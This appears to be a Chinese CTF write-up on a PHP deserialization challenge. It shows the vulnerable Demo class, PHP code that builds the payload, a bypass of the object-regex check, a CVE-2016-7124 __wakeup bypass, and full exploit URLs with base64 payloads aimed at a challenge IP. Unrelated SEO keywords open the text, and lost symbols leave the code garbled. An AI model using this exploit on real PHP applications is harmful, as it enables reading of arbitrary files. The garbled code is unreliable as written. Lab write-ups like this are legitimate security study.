建筑网站登陆页面,软件定制一般多少钱,商务类网站,合肥市城乡建设局网站首页题目解题过程PHP反序列化的一道题#xff0c;从代码看出flage在fl4g.php这个文件里面#xff0c;Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化classDemo {private $file index.php;public function __construct($file) {$this-file $file;}funct…题目解题过程PHP反序列化的一道题从代码看出flage在fl4g.php这个文件里面Demo类的构造方法可以传入文件名。把Demo的代码贴到本地做一下序列化classDemo {private $file index.php;public function __construct($file) {$this-file $file;}function__destruct() {echo highlight_file($this-file, true);}function__wakeup() {if ($this-file ! index.php) {//the secret is in the fl4g.php$this-file index.php;}}}$demo new Demo(fl4g.php);$serialized_data serialize($demo);echo $serialized_data;View Code得到序列化结果O:4:Demo:1:{s:10:Demofile;s:8:fl4g.php;}通过var参数传入这里有两个问题1.var参数要先进行base64编码调用php自带的base64_encode函数进行编码2.要绕过正则检查/[oc]:\d:/i这个正则绕过书上看见过(所以没事要多看书 _ )O后面加上就可以了O:4:Demo:1:{s:10:Demofile;s:8:fl4g.php;}最后访问连接http://220.249.52.133:36207/index.php?varTzorNDoiRGVtbyI6MTp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ嗯失败了因为__wakeup有判断文件名不是index.php就自动跳回index.php页面。。。所以还有第3步要做绕过__wakeup的检查这个正好也在书上看见过(再次印证没事要多看书 _ )CVE-2016-7124__wakeup失效当属性个数不正确时PHP不会调用__wakeup()。影响版本PHP5-PHP5.6.25PHP7-PHP7.0.10。修改属性个数1为2O:4:Demo:2:{s:10:Demofile;s:8:fl4g.php;}在进行编码后传入var参数最终的代码classDemo {private $file index.php;public function __construct($file) {$this-file $file;}function__destruct() {echo highlight_file($this-file, true);}function__wakeup() {if ($this-file ! index.php) {//the secret is in the fl4g.php$this-file index.php;}}}$demo new Demo(fl4g.php);$serialized_data serialize($demo);$strstr_replace(O:4, O:4,$serialized_data);$strstr_replace(:1:, :2:,$str);echo base64_encode($str);View Code这里有一个坑base64编码必须调用php自带的编码函数才行直接拿去在线base64编码的结果无法拿到flag原因不明。。。访问链接http://220.249.52.133:36207/index.php?varTzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ拿到flag